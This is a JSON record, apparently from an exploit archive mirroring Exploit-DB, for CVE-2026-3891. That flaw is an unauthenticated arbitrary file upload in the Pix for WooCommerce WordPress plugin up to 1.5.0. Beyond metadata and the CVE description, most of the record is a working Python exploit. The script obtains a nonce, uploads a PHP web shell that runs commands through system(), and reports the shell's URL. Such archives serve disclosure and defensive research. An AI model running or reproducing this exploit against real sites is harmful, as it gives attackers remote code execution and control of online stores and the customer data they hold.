{"exploit":{"id":"EDB-52642","name":"WooCommerce 1.5.0 - Unauthenticated Arbitrary File Upload","description":"WooCommerce 1.5.0 - Unauthenticated Arbitrary File Upload","cves":["CVE-2026-3891"],"author":"Mohammad Hossein Sadeghian","published":"2026-08-17","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52642","path":"exploits/multiple/webapps/52642.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52642.py","vulnerabilities":[{"id":"CVE-2026-3891","state":"PUBLISHED","title":"Pix for WooCommerce <= 1.5.0 - Unauthenticated Arbitrary File Upload","titleSource":"CVE Program","description":"The Pix for WooCommerce plugin for WordPress is vulnerable to arbitrary file uploads due to missing capability check and missing file type validation in the 'lkn_pix_for_woocommerce_c6_save_settings' function in all versions up to, and including, 1.5.0. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-3891","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"Wordfence","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-3891"},"updatedAt":"2026-04-08T16:41:11.061Z","retrievedAt":"2026-11-25T16:13:47.159Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52642.png?v=2","url":"https://exploitbin.com/exploits/EDB-52642","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52642/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52642/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: WooCommerce 1.5.0 - Unauthenticated Arbitrary File Upload\n# Google Dork: N/A\n# Date: 2026-07-15\n# Exploit Author: Mohammad Hossein Sadeghian\n# Vendor Homepage: https://wordpress.org/plugins/payment-gateway-pix-for-woocommerce/\n# Software Link: https://wordpress.org/plugins/payment-gateway-pix-for-woocommerce/\n# Version: <= 1.5.0\n# Tested on: Ubuntu 22.04 LTS, Apache 2.4, PHP 8.2, WordPress 6.7\n# CVE: CVE-2026-3891\n\nimport requests\nimport sys\n\n\ndef print_banner():\n    banner = r\"\"\"\n    ____                      __   _   __     __\n   / __ \\________  ____ _____/ /  / | / /__  / /_\n  / / / / ___/ _ \\/ __ \\/ __  /  /  |/ / _ \\/ __/\n / /_/ / /  /  __/ /_/ / /_/ /  / /|  /  __/ /_\n/_____/_/   \\___/\\__,_/\\__,_/  /_/ |_/\\___/\\__/\n\nAuthor: m4sh_wacker\n    \"\"\"\n    print(banner)\n\n\ndef main():\n    print_banner()\n\n    target = input(\"[?] Enter target URL: \").strip().rstrip(\"/\")\n\n    if not target.startswith((\"http://\", \"https://\")):\n        target = \"http://\" + target\n\n    ajax_url = f\"{target}/wp-admin/admin-ajax.php\"\n\n    filename = \"woocommerce.php\"\n    content = '<?php if(isset($_REQUEST[\"cmd\"])){system($_REQUEST[\"cmd\"]);} ?>'\n\n    session = requests.Session()\n\n    print(\"\\n[*] Requesting nonce...\")\n\n    try:\n        response = session.post(\n            ajax_url,\n            data={\n                \"action\": \"lkn_pix_for_woocommerce_generate_nonce\",\n                \"action_name\": \"lkn_pix_for_woocommerce_c6_settings_nonce\"\n            },\n            timeout=10\n        )\n\n        result = response.json()\n        nonce = result[\"data\"][\"nonce\"]\n\n        print(f\"[+] Nonce obtained: {nonce}\")\n\n    except Exception as e:\n        print(f\"[-] Failed to obtain nonce: {e}\")\n        sys.exit(1)\n\n    print(f\"[*] Uploading {filename}...\")\n\n    try:\n        response = session.post(\n            ajax_url,\n            data={\n                \"action\": \"lkn_pix_for_woocommerce_c6_save_settings\",\n                \"_ajax_nonce\": nonce\n            },\n            files={\n                \"certificate_crt_path\": (\n                    filename,\n                    content,\n                    \"text/plain\"\n                )\n            },\n            timeout=10\n        )\n\n        result = response.json()\n\n        if not result.get(\"success\"):\n            print(\"[-] Upload failed.\")\n            print(response.text)\n            sys.exit(1)\n\n    except Exception as e:\n        print(f\"[-] Upload error: {e}\")\n        sys.exit(1)\n\n    uploaded_url = (\n        f\"{target}/wp-content/plugins/\"\n        f\"payment-gateway-pix-for-woocommerce/\"\n        f\"Includes/files/certs_c6/{filename}\"\n    )\n\n    print(\"\\n[+] File uploaded successfully!\")\n    print(f\"[+] URL: {uploaded_url}\")\n\n\nif __name__ == \"__main__\":\n    main()","sha256":"eb8025f862081fb57aa6f3d1fa4359d47ca90573c8b3fef54e32556bd41860d2","bytes":2734,"fetchedAt":"2026-11-26T08:53:46.891Z","encoding":"utf-8 (display only; download retains original bytes)"}